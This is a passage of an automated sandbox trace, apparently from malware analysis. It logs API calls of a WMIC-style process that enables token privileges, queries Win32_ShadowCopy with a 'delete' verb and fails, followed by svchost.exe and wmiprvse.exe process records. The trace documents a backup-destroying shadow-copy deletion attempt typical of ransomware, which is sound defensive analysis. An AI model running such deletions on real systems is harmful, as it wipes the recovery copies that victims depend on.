[0186.348] lstrlenW (lpString="ASSOC") returned 5 [0186.348] lstrlenW (lpString="delete") returned 6 [0186.348] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0186.348] WbemLocator:IUnknown:AddRef (This=0x823848) returned 0x3 [0186.348] free (_Block=0x7511d8) [0186.348] lstrlenW (lpString="") returned 0 [0186.348] lstrlenW (lpString="NQDPDE") returned 6 [0186.348] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0186.349] lstrlenW (lpString="NQDPDE") returned 6 [0186.349] malloc (_Size=0xe) returned 0x75ac38 [0186.349] lstrlenW (lpString="NQDPDE") returned 6 [0186.349] GetCurrentThreadId () returned 0x1340 [0186.349] GetCurrentProcess () returned 0xffffffff [0186.349] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x43f7a4 | out: TokenHandle=0x43f7a4*=0x2f8) returned 1 [0186.349] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x43f7a0 | out: TokenInformation=0x0, ReturnLength=0x43f7a0) returned 0 [0186.349] malloc (_Size=0x118) returned 0x75b650 [0186.349] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x3, TokenInformation=0x75b650, TokenInformationLength=0x118, ReturnLength=0x43f7a0 | out: TokenInformation=0x75b650, ReturnLength=0x43f7a0) returned 1 [0186.349] AdjustTokenPrivileges (in: TokenHandle=0x2f8, DisableAllPrivileges=0, NewState=0x75b650*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0186.349] free (_Block=0x75b650) [0186.349] CloseHandle (hObject=0x2f8) returned 1 [0186.349] lstrlenW (lpString="GET") returned 3 [0186.349] lstrlenW (lpString="delete") returned 6 [0186.349] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0186.349] lstrlenW (lpString="LIST") returned 4 [0186.350] lstrlenW (lpString="delete") returned 6 [0186.350] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0186.350] lstrlenW (lpString="SET") returned 3 [0186.350] lstrlenW (lpString="delete") returned 6 [0186.350] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0186.350] lstrlenW (lpString="CALL") returned 4 [0186.350] lstrlenW (lpString="delete") returned 6 [0186.350] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0186.350] lstrlenW (lpString="ASSOC") returned 5 [0186.350] lstrlenW (lpString="delete") returned 6 [0186.350] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0186.350] lstrlenW (lpString="CREATE") returned 6 [0186.350] lstrlenW (lpString="delete") returned 6 [0186.350] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0186.350] lstrlenW (lpString="DELETE") returned 6 [0186.350] lstrlenW (lpString="delete") returned 6 [0186.350] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0186.351] malloc (_Size=0xc) returned 0x75ac50 [0186.351] lstrlenA (lpString="") returned 0 [0186.351] malloc (_Size=0x2) returned 0x7511d8 [0186.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1292b74, cbMultiByte=-1, lpWideCharStr=0x7511d8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0186.351] free (_Block=0x7511d8) [0186.351] malloc (_Size=0xc) returned 0x75ac68 [0186.351] lstrlenA (lpString="") returned 0 [0186.351] malloc (_Size=0x2) returned 0x7511d8 [0186.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1292b74, cbMultiByte=-1, lpWideCharStr=0x7511d8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0186.351] free (_Block=0x7511d8) [0186.351] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0186.351] malloc (_Size=0x3e) returned 0x75b650 [0186.351] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0186.351] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x9f4a64dd | out: _String="Select", _Context=0x9f4a64dd) returned="Select" [0186.351] malloc (_Size=0xc) returned 0x75ac80 [0186.351] free (_Block=0x75ac68) [0186.351] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x9f4a64dd | out: _String=0x0, _Context=0x9f4a64dd) returned="*" [0186.351] lstrlenW (lpString="FROM") returned 4 [0186.351] lstrlenW (lpString="*") returned 1 [0186.351] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0186.351] malloc (_Size=0xc) returned 0x75ac68 [0186.351] free (_Block=0x75ac80) [0186.351] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x9f4a64dd | out: _String=0x0, _Context=0x9f4a64dd) returned="from" [0186.352] lstrlenW (lpString="FROM") returned 4 [0186.352] lstrlenW (lpString="from") returned 4 [0186.352] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0186.352] malloc (_Size=0xc) returned 0x75ac80 [0186.352] free (_Block=0x75ac68) [0186.352] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x9f4a64dd | out: _String=0x0, _Context=0x9f4a64dd) returned="Win32_ShadowCopy" [0186.352] malloc (_Size=0xc) returned 0x75ac68 [0186.352] free (_Block=0x75ac80) [0186.352] free (_Block=0x75b650) [0186.352] malloc (_Size=0xc) returned 0x75acc8 [0186.383] malloc (_Size=0xc) returned 0x75ac80 [0186.383] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0186.383] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0186.384] free (_Block=0x75ac50) [0186.384] free (_Block=0x75acc8) [0186.384] ??0CHString@@QAE@XZ () returned 0x43f744 [0186.384] GetCurrentThreadId () returned 0x1340 [0186.384] malloc (_Size=0xc) returned 0x75ac98 [0186.384] malloc (_Size=0xc) returned 0x75acb0 [0186.384] malloc (_Size=0xc) returned 0x75ac50 [0186.384] malloc (_Size=0xc) returned 0x75acc8 [0186.384] malloc (_Size=0xc) returned 0x75aa28 [0186.384] SysStringLen (param_1="\\\\") returned 0x2 [0186.384] SysStringLen (param_1="NQDPDE") returned 0x6 [0186.384] malloc (_Size=0xc) returned 0x75aae8 [0186.384] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0186.384] SysStringLen (param_1="\\") returned 0x1 [0186.384] malloc (_Size=0xc) returned 0x75a968 [0186.384] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0186.384] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0186.385] free (_Block=0x75aae8) [0186.385] free (_Block=0x75aa28) [0186.385] free (_Block=0x75acc8) [0186.385] free (_Block=0x75ac50) [0186.385] free (_Block=0x75acb0) [0186.385] free (_Block=0x75ac98) [0186.385] malloc (_Size=0xc) returned 0x75ac50 [0186.385] malloc (_Size=0xc) returned 0x75acc8 [0186.385] malloc (_Size=0xc) returned 0x75ac98 [0186.385] WbemLocator:IWbemLocator:ConnectServer (in: This=0x823848, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x12d8564 | out: ppNamespace=0x12d8564*=0x8593f8) returned 0x0 [0187.981] free (_Block=0x75ac98) [0187.981] free (_Block=0x75acc8) [0187.981] free (_Block=0x75ac50) [0187.981] CoSetProxyBlanket (pProxy=0x8593f8, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0187.981] free (_Block=0x75a968) [0187.981] ??1CHString@@QAE@XZ () returned 0x734765f8 [0187.981] ??0CHString@@QAE@XZ () returned 0x43f734 [0187.981] GetCurrentThreadId () returned 0x1340 [0187.982] malloc (_Size=0xc) returned 0x75a968 [0187.982] lstrlenA (lpString="") returned 0 [0187.982] malloc (_Size=0x2) returned 0x7511d8 [0187.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1292b74, cbMultiByte=-1, lpWideCharStr=0x7511d8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0187.982] free (_Block=0x7511d8) [0187.982] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0187.982] SysStringLen (param_1="") returned 0x0 [0187.982] free (_Block=0x75a968) [0187.982] malloc (_Size=0xc) returned 0x75aa28 [0187.982] IWbemServices:ExecQuery (in: This=0x8593f8, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x43f730 | out: ppEnum=0x43f730*=0x0) returned 0x80041014 [0210.188] free (_Block=0x75aa28) [0210.202] _CxxThrowException () [0210.208] malloc (_Size=0x10) returned 0x75a968 [0210.208] ??1CHString@@QAE@XZ () returned 0x734765f8 [0210.208] free (_Block=0x75ac68) [0210.208] free (_Block=0x75ac80) [0210.208] GetCurrentThreadId () returned 0x1340 [0210.208] ??0CHString@@QAE@PBG@Z () returned 0x43f7d4 [0210.208] ??YCHString@@QAEABV0@PBG@Z () returned 0x43f7d4 [0210.209] ??0CHString@@QAE@XZ () returned 0x43f6a0 [0210.209] malloc (_Size=0xc) returned 0x75ac50 [0210.210] malloc (_Size=0xc) returned 0x75ac80 [0210.210] SysStringLen (param_1="") returned 0x0 [0210.210] free (_Block=0x75ac50) [0210.210] CoCreateInstance (in: rclsid=0x1296a14*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1296a24*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x12d857c | out: ppv=0x12d857c*=0x82ba78) returned 0x0 [0210.216] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x82ba78, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x43f6a4 | out: MessageText=0x43f6a4*="Initialization failure\r\n") returned 0x0 [0210.222] free (_Block=0x75ac80) [0210.222] malloc (_Size=0xc) returned 0x75ac98 [0210.233] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x82ba78, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x43f6a8 | out: MessageText=0x43f6a8*="WMI") returned 0x0 [0210.233] malloc (_Size=0xc) returned 0x75acb0 [0210.233] lstrlenW (lpString="WMI") returned 3 [0210.233] lstrlenW (lpString="Wbem") returned 4 [0210.233] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0210.233] lstrlenW (lpString="WMI") returned 3 [0210.233] lstrlenW (lpString="WMI") returned 3 [0210.233] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0210.233] WbemStatusCodeText:IUnknown:Release (This=0x82ba78) returned 0x0 [0210.233] ??1CHString@@QAE@XZ () returned 0x734765f8 [0210.233] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x43ef00, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0210.233] FormatMessageW (in: dwFlags=0x2500, lpSource=0x43ef00, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x43eee8, nSize=0x0, Arguments=0x43eeec | out: lpBuffer="票…枬\x84") returned 0x2e [0210.233] malloc (_Size=0xc) returned 0x75ac50 [0210.233] LocalFree (hMem=0x857968) returned 0x0 [0210.234] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0210.234] malloc (_Size=0x2f) returned 0x75b750 [0210.234] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x75b750, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0210.234] __iob_func () returned 0x776f2608 [0210.234] fprintf (in: _File=0x776f2648, _Format="%s" | out: _File=0x776f2648) returned 46 [0210.486] __iob_func () returned 0x776f2608 [0210.486] fflush (in: _File=0x776f2648 | out: _File=0x776f2648) returned 0 [0210.486] free (_Block=0x75b750) [0210.486] free (_Block=0x75ac50) [0210.486] free (_Block=0x75acb0) [0210.486] free (_Block=0x75ac98) [0210.486] ??1CHString@@QAE@XZ () returned 0x1 [0210.487] ??0CHString@@QAE@PBG@Z () returned 0x43f7dc [0210.487] ??YCHString@@QAEABV0@PBG@Z () returned 0x43f7dc [0210.487] GetCurrentThreadId () returned 0x1340 [0210.487] ??1CHString@@QAE@XZ () returned 0x1 [0210.487] WbemLocator:IUnknown:Release (This=0x8593f8) returned 0x0 [0210.487] ?Empty@CHString@@QAEXXZ () returned 0x734765f8 [0210.487] free (_Block=0x75a968) [0210.487] _kbhit () returned 0x0 [0210.681] free (_Block=0x75ae08) [0210.681] free (_Block=0x75aab8) [0210.681] free (_Block=0x75abf0) [0210.681] free (_Block=0x75aad0) [0210.681] free (_Block=0x75ab18) [0210.681] free (_Block=0x75ad98) [0210.681] free (_Block=0x7529b0) [0210.681] free (_Block=0x75b618) [0210.681] free (_Block=0x75acf8) [0210.681] free (_Block=0x75b598) [0210.681] free (_Block=0x75ace0) [0210.681] free (_Block=0x752c50) [0210.682] free (_Block=0x75b608) [0210.682] free (_Block=0x750508) [0210.682] free (_Block=0x75b5e0) [0210.682] ?Empty@CHString@@QAEXXZ () returned 0x734765f8 [0210.682] free (_Block=0x75add0) [0210.682] free (_Block=0x7529f0) [0210.682] free (_Block=0x75aa10) [0210.682] free (_Block=0x752598) [0210.682] free (_Block=0x7525e0) [0210.682] free (_Block=0x752628) [0210.682] free (_Block=0x75ac38) [0210.682] free (_Block=0x7526c0) [0210.682] free (_Block=0x7504f0) [0210.682] free (_Block=0x752b10) [0210.682] free (_Block=0x7504d8) [0210.682] free (_Block=0x752c10) [0210.682] free (_Block=0x7504a0) [0210.682] free (_Block=0x7504b8) [0210.682] free (_Block=0x752800) [0210.682] free (_Block=0x752818) [0210.682] free (_Block=0x7527c8) [0210.682] free (_Block=0x7527e0) [0210.682] free (_Block=0x752838) [0210.682] free (_Block=0x752850) [0210.683] free (_Block=0x752870) [0210.683] free (_Block=0x752888) [0210.683] free (_Block=0x752758) [0210.683] free (_Block=0x752770) [0210.683] free (_Block=0x752720) [0210.683] free (_Block=0x752738) [0210.683] free (_Block=0x752790) [0210.683] free (_Block=0x7527a8) [0210.683] free (_Block=0x7526e8) [0210.683] free (_Block=0x752700) [0210.683] free (_Block=0x752698) [0210.683] free (_Block=0x752670) [0210.683] free (_Block=0x75ad10) [0210.683] WbemLocator:IUnknown:Release (This=0x823848) returned 0x2 [0210.683] WbemLocator:IUnknown:Release (This=0x8598a8) returned 0x0 [0210.684] WbemLocator:IUnknown:Release (This=0x82add0) returned 0x0 [0210.685] WbemLocator:IUnknown:Release (This=0x823848) returned 0x1 [0210.685] ?Empty@CHString@@QAEXXZ () returned 0x734765f8 [0210.685] WbemLocator:IUnknown:Release (This=0x823848) returned 0x0 [0210.685] free (_Block=0x75ab30) [0210.685] free (_Block=0x75a9f8) [0210.685] free (_Block=0x752990) [0210.685] free (_Block=0x75abc0) [0210.685] free (_Block=0x75aaa0) [0210.685] free (_Block=0x752b50) [0210.685] free (_Block=0x75a998) [0210.685] free (_Block=0x75ab60) [0210.685] free (_Block=0x752a10) [0210.685] free (_Block=0x75a980) [0210.685] free (_Block=0x75ab78) [0210.685] free (_Block=0x752910) [0210.685] free (_Block=0x75ac08) [0210.685] free (_Block=0x75a950) [0210.685] free (_Block=0x752a70) [0210.686] free (_Block=0x75aa70) [0210.686] free (_Block=0x75ab90) [0210.686] free (_Block=0x752a50) [0210.686] free (_Block=0x75a938) [0210.686] free (_Block=0x75aa58) [0210.686] free (_Block=0x752950) [0210.686] free (_Block=0x75a9c8) [0210.686] free (_Block=0x75aba8) [0210.686] free (_Block=0x752970) [0210.686] free (_Block=0x759668) [0210.686] free (_Block=0x75a9b0) [0210.686] free (_Block=0x7528d0) [0210.686] free (_Block=0x75a9e0) [0210.686] free (_Block=0x75abd8) [0210.686] free (_Block=0x752930) [0210.686] free (_Block=0x75ab00) [0210.686] free (_Block=0x75ac20) [0210.686] free (_Block=0x752ab0) [0210.686] free (_Block=0x75aa88) [0210.686] free (_Block=0x75ab48) [0210.686] free (_Block=0x752c30) [0210.687] free (_Block=0x7595c0) [0210.687] free (_Block=0x7595d8) [0210.687] free (_Block=0x752a90) [0210.687] free (_Block=0x759728) [0210.687] free (_Block=0x7596e0) [0210.687] free (_Block=0x7528f0) [0210.687] free (_Block=0x759698) [0210.688] free (_Block=0x759740) [0210.688] free (_Block=0x752a30) [0210.688] free (_Block=0x759788) [0210.688] free (_Block=0x7596b0) [0210.688] free (_Block=0x752ad0) [0210.688] free (_Block=0x759608) [0210.688] free (_Block=0x759620) [0210.688] free (_Block=0x752af0) [0210.688] free (_Block=0x759758) [0210.688] free (_Block=0x7596c8) [0210.688] free (_Block=0x752bd0) [0210.688] free (_Block=0x759710) [0210.688] free (_Block=0x7595f0) [0210.688] free (_Block=0x752c90) [0210.688] free (_Block=0x759680) [0210.688] free (_Block=0x759770) [0210.688] free (_Block=0x752b70) [0210.688] free (_Block=0x759638) [0210.689] free (_Block=0x759650) [0210.689] free (_Block=0x7529d0) [0210.689] CoUninitialize () [0212.128] exit (_Code=-2147217388) [0212.129] free (_Block=0x752d38) [0212.129] free (_Block=0x750fe0) [0212.129] ??1CHString@@QAE@XZ () returned 0x734765f8 [0212.129] free (_Block=0x750550) [0212.129] free (_Block=0x7526d8) [0212.129] free (_Block=0x750fc0) [0212.129] free (_Block=0x750fa0) [0212.129] free (_Block=0x750f70) [0212.129] free (_Block=0x750f50) [0212.129] free (_Block=0x750f20) [0212.129] free (_Block=0x750ee0) [0212.129] free (_Block=0x750ec0) [0212.129] ??1CHString@@QAE@XZ () returned 0x734765f8 [0212.129] free (_Block=0x75ae18) Thread: id = 62 os_tid = 0x1104 Thread: id = 63 os_tid = 0x13f4 Thread: id = 64 os_tid = 0x13f0 Thread: id = 65 os_tid = 0x12d0 Thread: id = 66 os_tid = 0xfe0 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x742fe000" os_pid = "0x3ac" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009f6a" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 67 os_tid = 0xed0 Thread: id = 68 os_tid = 0x394 Thread: id = 69 os_tid = 0x258 Thread: id = 70 os_tid = 0x1a0 Thread: id = 71 os_tid = 0xd50 Thread: id = 72 os_tid = 0x1324 Thread: id = 73 os_tid = 0xf8c Thread: id = 74 os_tid = 0xeac Thread: id = 75 os_tid = 0xf88 Thread: id = 76 os_tid = 0x12c4 Thread: id = 77 os_tid = 0x900 Thread: id = 78 os_tid = 0x1040 Thread: id = 79 os_tid = 0x348 Thread: id = 80 os_tid = 0xf34 Thread: id = 81 os_tid = 0x13e0 Thread: id = 82 os_tid = 0x12fc Thread: id = 83 os_tid = 0x12f4 Thread: id = 84 os_tid = 0x12f0 Thread: id = 85 os_tid = 0x12ec Thread: id = 86 os_tid = 0x12e8 Thread: id = 87 os_tid = 0x12e4 Thread: id = 88 os_tid = 0x12a4 Thread: id = 89 os_tid = 0x12bc Thread: id = 90 os_tid = 0x12b8 Thread: id = 91 os_tid = 0x12b4 Thread: id = 92 os_tid = 0x1294 Thread: id = 93 os_tid = 0x1284 Thread: id = 94 os_tid = 0x11dc Thread: id = 95 os_tid = 0x115c Thread: id = 96 os_tid = 0x1158 Thread: id = 97 os_tid = 0x1154 Thread: id = 98 os_tid = 0x10d8 Thread: id = 99 os_tid = 0x10d4 Thread: id = 100 os_tid = 0x10d0 Thread: id = 101 os_tid = 0x10c8 Thread: id = 102 os_tid = 0x1068 Thread: id = 103 os_tid = 0x1064 Thread: id = 104 os_tid = 0x1060 Thread: id = 105 os_tid = 0x1058 Thread: id = 106 os_tid = 0x104c Thread: id = 107 os_tid = 0xf24 Thread: id = 108 os_tid = 0xf20 Thread: id = 109 os_tid = 0xf18 Thread: id = 110 os_tid = 0xf08 Thread: id = 111 os_tid = 0xaa0 Thread: id = 112 os_tid = 0xa30 Thread: id = 113 os_tid = 0xa14 Thread: id = 114 os_tid = 0xa0c Thread: id = 115 os_tid = 0x9e8 Thread: id = 116 os_tid = 0x9e0 Thread: id = 117 os_tid = 0x9d8 Thread: id = 118 os_tid = 0x9cc Thread: id = 119 os_tid = 0x9c4 Thread: id = 120 os_tid = 0x9b8 Thread: id = 121 os_tid = 0x9b0 Thread: id = 122 os_tid = 0x9a0 Thread: id = 123 os_tid = 0x998 Thread: id = 124 os_tid = 0x984 Thread: id = 125 os_tid = 0x978 Thread: id = 126 os_tid = 0x968 Thread: id = 127 os_tid = 0x95c Thread: id = 128 os_tid = 0x958 Thread: id = 129 os_tid = 0x944 Thread: id = 130 os_tid = 0x930 Thread: id = 131 os_tid = 0x914 Thread: id = 132 os_tid = 0x8ac Thread: id = 133 os_tid = 0x840 Thread: id = 134 os_tid = 0x83c Thread: id = 135 os_tid = 0x430 Thread: id = 136 os_tid = 0x7c0 Thread: id = 137 os_tid = 0x7bc Thread: id = 138 os_tid = 0x7ac Thread: id = 139 os_tid = 0x784 Thread: id = 140 os_tid = 0x780 Thread: id = 141 os_tid = 0x77c Thread: id = 142 os_tid = 0x6fc Thread: id = 143 os_tid = 0x678 Thread: id = 144 os_tid = 0x670 Thread: id = 145 os_tid = 0x660 Thread: id = 146 os_tid = 0x654 Thread: id = 147 os_tid = 0x61c Thread: id = 148 os_tid = 0x5d0 Thread: id = 149 os_tid = 0x5a0 Thread: id = 150 os_tid = 0x4ac Thread: id = 151 os_tid = 0x41c Thread: id = 152 os_tid = 0x414 Thread: id = 153 os_tid = 0x404 Thread: id = 154 os_tid = 0x158 Thread: id = 155 os_tid = 0x39c Thread: id = 156 os_tid = 0x2e8 Thread: id = 157 os_tid = 0x180 Thread: id = 158 os_tid = 0x234 Thread: id = 159 os_tid = 0x26c Thread: id = 160 os_tid = 0x2a0 Thread: id = 161 os_tid = 0x170 Thread: id = 162 os_tid = 0x1a8 Thread: id = 163 os_tid = 0x16c Thread: id = 164 os_tid = 0x3b0 Thread: id = 165 os_tid = 0xd58 Thread: id = 166 os_tid = 0xa74 Thread: id = 175 os_tid = 0xd78 Thread: id = 178 os_tid = 0x860 Thread: id = 179 os_tid = 0xbec Thread: id = 180 os_tid = 0xe9c Thread: id = 217 os_tid = 0xd74 Thread: id = 218 os_tid = 0xa24 Thread: id = 219 os_tid = 0x1054 Thread: id = 236 os_tid = 0x4e8 Thread: id = 237 os_tid = 0xfc4 Thread: id = 238 os_tid = 0x112c Thread: id = 239 os_tid = 0x12f8 Thread: id = 240 os_tid = 0x1304 Thread: id = 241 os_tid = 0x1360 Thread: id = 247 os_tid = 0x1278 Thread: id = 248 os_tid = 0xd34 Thread: id = 249 os_tid = 0x1224 Process: id = "15" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x54906000" os_pid = "0x1080" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x2a4" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT 